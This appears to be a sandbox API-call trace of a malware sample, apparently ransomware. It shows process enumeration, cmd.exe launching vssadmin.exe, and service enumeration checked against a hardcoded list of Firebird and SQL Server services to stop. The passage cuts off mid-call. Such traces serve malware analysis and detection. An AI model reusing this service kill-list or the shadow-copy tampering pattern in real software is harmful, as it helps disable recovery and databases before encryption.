cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.448] lstrlenW (lpString="taskhost.exe") returned 12 [0214.448] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.448] lstrlenW (lpString="svchost.exe") returned 11 [0214.448] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0214.449] lstrlenW (lpString="taskeng.exe") returned 11 [0214.449] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0214.450] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0214.450] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0214.450] lstrlenW (lpString="nova.exe") returned 8 [0214.450] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0214.451] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0214.451] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0214.452] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0214.452] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0214.452] lstrlenW (lpString="picks blair.exe") returned 15 [0214.452] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0214.453] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0214.453] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0214.453] lstrlenW (lpString="principal.exe") returned 13 [0214.453] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0214.454] lstrlenW (lpString="transportation.exe") returned 18 [0214.454] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0214.455] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0214.455] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0214.455] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0214.455] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0214.456] lstrlenW (lpString="planned.exe") returned 11 [0214.456] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0214.457] lstrlenW (lpString="springer andrew.exe") returned 19 [0214.457] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0214.457] lstrlenW (lpString="cakes import.exe") returned 16 [0214.457] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0214.458] lstrlenW (lpString="theory.exe") returned 10 [0214.458] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0214.458] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0214.458] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0214.459] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0214.459] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0214.460] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0214.460] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0214.460] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0214.460] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0214.461] lstrlenW (lpString="indicescancellation.exe") returned 23 [0214.461] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0214.462] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0214.462] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0214.462] lstrlenW (lpString="desk.exe") returned 8 [0214.462] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.463] lstrlenW (lpString="svchost.exe") returned 11 [0214.463] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0214.464] lstrlenW (lpString="sppsvc.exe") returned 10 [0214.464] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.464] lstrlenW (lpString="svchost.exe") returned 11 [0214.464] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.465] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.465] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.465] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.465] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0214.466] lstrlenW (lpString="winhost.exe") returned 11 [0214.466] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.467] lstrlenW (lpString="cmd.exe") returned 7 [0214.467] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.467] lstrlenW (lpString="conhost.exe") returned 11 [0214.467] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0214.468] lstrlenW (lpString="vssadmin.exe") returned 12 [0214.468] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0214.468] lstrlenW (lpString="VSSVC.exe") returned 9 [0214.468] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0214.469] CloseHandle (hObject=0x180) returned 1 [0214.469] Sleep (dwMilliseconds=0x1f4) [0215.173] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640248 [0215.173] EnumServicesStatusExW (in: hSCManager=0x640248, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0215.174] GetLastError () returned 0xea [0215.174] EnumServicesStatusExW (in: hSCManager=0x640248, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e218, cbBufSize=0x13a6, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e218, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0215.175] CloseServiceHandle (hSCObject=0x640248) returned 1 [0215.175] lstrlenW (lpString="Appinfo") returned 7 [0215.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0215.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0215.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0215.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0215.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0215.175] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0215.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0215.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0215.175] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0215.175] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0215.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0215.175] lstrlenW (lpString="AudioSrv") returned 8 [0215.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0215.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0215.175] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0215.175] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0215.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0215.175] lstrlenW (lpString="BFE") returned 3 [0215.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0215.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0215.175] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0215.175] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0215.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0215.175] lstrlenW (lpString="CryptSvc") returned 8 [0215.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0215.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0215.175] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0215.175] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0215.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0215.175] lstrlenW (lpString="CscService") returned 10 [0215.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0215.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0215.175] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0215.175] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0215.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0215.175] lstrlenW (lpString="DcomLaunch") returned 10 [0215.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0215.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0215.175] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0215.176] lstrlenW (lpString="Dhcp") returned 4 [0215.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0215.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0215.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0215.176] lstrlenW (lpString="Dnscache") returned 8 [0215.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0215.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0215.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0215.176] lstrlenW (lpString="DPS") returned 3 [0215.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0215.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0215.176] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0215.176] lstrlenW (lpString="eventlog") returned 8 [0215.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0215.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0215.176] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0215.176] lstrlenW (lpString="EventSystem") returned 11 [0215.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0215.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0215.176] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0215.176] lstrlenW (lpString="FontCache") returned 9 [0215.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0215.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0215.176] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0215.176] lstrlenW (lpString="gpsvc") returned 5 [0215.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0215.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0215.176] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0215.176] lstrlenW (lpString="iphlpsvc") returned 8 [0215.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0215.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0215.176] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0215.176] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0215.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0215.177] lstrlenW (lpString="LanmanServer") returned 12 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0215.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0215.177] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0215.177] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0215.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0215.177] lstrlenW (lpString="LanmanWorkstation") returned 17 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0215.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0215.177] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0215.177] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0215.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0215.177] lstrlenW (lpString="lmhosts") returned 7 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0215.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0215.177] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0215.177] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0215.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0215.177] lstrlenW (lpString="MMCSS") returned 5 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0215.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0215.177] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0215.177] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0215.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0215.177] lstrlenW (lpString="MpsSvc") returned 6 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0215.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0215.177] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0215.177] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0215.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0215.177] lstrlenW (lpString="Netman") returned 6 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0215.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0215.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0215.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0215.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0215.177] lstrlenW (lpString="netprofm") returned 8 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0215.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0215.177] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0215.177] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0215.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0215.177] lstrlenW (lpString="NlaSvc") returned 6 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0215.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0215.177] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0215.177] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0215.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0215.177] lstrlenW (lpString="nsi") returned 3 [0215.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0215.178] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0215.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0215.178] lstrlenW (lpString="PcaSvc") returned 6 [0215.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0215.178] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0215.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0215.178] lstrlenW (lpString="PlugPlay") returned 8 [0215.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0215.178] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0215.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0215.178] lstrlenW (lpString="Power") returned 5 [0215.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0215.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0215.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0215.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0215.178] lstrcmpiW 